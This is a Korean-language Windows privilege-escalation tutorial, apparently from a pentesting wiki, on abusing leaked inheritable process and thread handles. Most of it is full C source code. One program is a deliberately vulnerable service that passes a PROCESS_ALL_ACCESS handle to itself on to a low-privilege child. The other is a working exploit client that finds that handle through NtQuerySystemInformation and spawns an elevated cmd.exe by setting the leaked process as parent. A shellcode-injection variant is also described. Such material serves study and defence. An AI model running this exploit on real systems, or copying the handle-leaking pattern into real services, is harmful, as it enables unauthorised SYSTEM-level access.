이미 특권 상승 사례에서 특권이 있는 프로세스가 열려 있고 상속 가능한 핸들을 가지고특권이 없는 프로세스를 실행하여 모든 해당 핸들에 액세스할 수 있게 하는 경우가 있었습니다.
예를 들어, SYSTEM으로 실행 중인 프로세스가 새 프로세스를 열 때 (OpenProcess()) 전체 액세스로 열었고, 동일한 프로세스가 모든 열린 핸들을 상속하면서 권한이 낮은 새 프로세스를 생성할 때 (CreateProcess()).
그런 다음, 낮은 권한 프로세스에 전체 액세스가 있다면 OpenProcess()로 생성된 특권 프로세스의 열린 핸들을 잡아 쉘코드를 삽입할 수 있습니다.
흥미로운 핸들
프로세스
첫 번째 예제에서 본 바와 같이 특권 프로세스의 프로세스 핸들을 상속받은 특정 권한이 충분한 특권 프로세스의 프로세스 핸들을 악용하여 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수 있습니다:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
스레드
프로세스 핸들과 유사하게, 특정 권한이 충분한 특권 프로세스의 스레드 핸들을 상속받은 특권이 없는 프로세스는 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나를 가진 스레드 핸들을 악용하는 방법을 볼 수도 있습니다:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
파일, 키 및 섹션 핸들
특권 파일 또는 레지스트리에 대한 쓰기 등가 권한을 가진 핸들을 상속받은 특권이 없는 프로세스는 파일/레지스트리를 덮어쓸 수 있게 되며, 운이 좋다면 특권을 상승할 수도 있습니다.
섹션 핸들은 파일 핸들과 유사하며, 이러한 종류의 객체의 일반적인 이름은 "파일 매핑"입니다. 이들은 전체 파일을 메모리에 유지하지 않고 큰 파일을 처리하는 데 사용됩니다. 이로 인해 파일 핸들의 악용과 "유사한" 악용이 이루어집니다.
프로세스의 핸들 보는 방법
Process Hacker
Process Hacker는 무료로 다운로드할 수 있는 도구입니다. 프로세스를 검사하는 여러 놀라운 옵션 중 하나는 각 프로세스의 핸들을 볼 수 있는 기능입니다.
모든 프로세스의 핸들을 보려면 SeDebugPrivilege가 필요하므로 Process Hacker를 관리자 권한으로 실행해야 합니다.
프로세스의 핸들을 보려면 프로세스를 마우스 오른쪽 단추로 클릭하고 핸들을 선택하세요:
그런 다음 핸들을 마우스 오른쪽 단추로 클릭하여 권한을 확인할 수 있습니다:
Sysinternals Handles
Sysinternals의 Handles바이너리는 콘솔에서 각 프로세스의 핸들을 나열합니다:
LeakedHandlesFinder
이 도구를 사용하면 누설된 핸들을 모니터링하고 특권 상승을 위해 자동으로 악용할 수 있습니다.
방법론
이제 프로세스의 핸들을 찾는 방법을 알았으므로 확인해야 할 것은 특권 핸들에 액세스 권한이 있는 특권이 없는 프로세스가 있는지입니다. 그 경우에는 프로세스의 사용자가 핸들을 획들하고 특권 상승을 위해 핸들을 남용할 수 있습니다.
모든 핸들에 액세스하려면 SeDebugPrivilege가 필요하다고 언급되었습니다. 그러나 사용자는 여전히 자신의 프로세스의 핸들에 액세스할 수 있으므로 사용자의 일반 권한으로 도구를 실행하여 해당 사용자에서만 특권 상승을 원한다면 유용할 수 있습니다.
예를 들어, 다음 코드는 취약할 수 있는 Windows 서비스에 속하는 코드입니다. 이 서비스 이진 파일의 취약한 코드는 Exploit 함수 내에 위치합니다. 이 함수는 전체 액세스 권한을 갖는 새 핸들 프로세스를 생성합니다. 그런 다음, 낮은 권한 프로세스를 생성합니다 (_explorer.exe_의 낮은 권한 토큰을 복사하여) _C:\users\username\desktop\client.exe_를 실행합니다. 취약점은 bInheritHandles를 TRUE로 설정하여 낮은 권한 프로세스를 생성하는 데 있습니다.
따라서, 이 낮은 권한 프로세스는 먼저 생성된 고 권한 프로세스의 핸들을 획들하고 셸코드를 삽입하고 실행할 수 있습니다 (다음 섹션 참조).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
실제 시나리오에서는 아마도 취약한 코드에 의해 실행될 바이너리를 제어할 수 없을 것입니다 (이 경우에는 C:\users\username\desktop\client.exe). 아마도 프로세스를 침투하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.
이 예에서는 _C:\users\username\desktop\client.exe_에 대한 가능한 익스플로잇 코드를 찾을 수 있습니다.
이 코드의 가장 흥미로운 부분은 GetVulnProcHandle에 있습니다. 이 함수는 모든 핸들을 가져오기 시작한 다음 PID가 동일한지 확인하고 핸들이 프로세스에 속하는지 확인합니다. 이러한 모든 요구 사항이 충족되면 (접근 가능한 열린 프로세스 핸들이 발견됨) 프로세스의 핸들을 악용하여 쉘코드를 주입하고 실행하려고 시도합니다.
쉘코드의 주입은 Inject 함수 내에서 수행되며, 이 함수는 프로세스 내에 쉘코드를 작성하고 동일한 프로세스 내에서 스레드를 생성하여 쉘코드를 실행합니다.
실제 시나리오에서는 아마도 취약한 코드에 의해 실행될 바이너리를 제어할 수 없을 것입니다 (이 경우 C:\users\username\desktop\client.exe). 아마도 프로세스를 침투하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.
이 예에서는 열린 핸들을 악용하여 셸코드를 삽입하고 실행하는 대신, 특권 열린 핸들 프로세스의 토큰을 사용하여 새로운 핸들을 생성합니다. 이는 138번째 줄부터 148번째 줄까지 수행됩니다.
함수 UpdateProcThreadAttribute가 속성 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS와 특권 있는 프로세스의 핸들을 사용하는 방법에 주목하십시오. 이는 _cmd.exe를 실행하는 생성된 프로세스 스레드가 열린 핸들 프로세스와 동일한 토큰 권한을 갖게 됨을 의미합니다.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}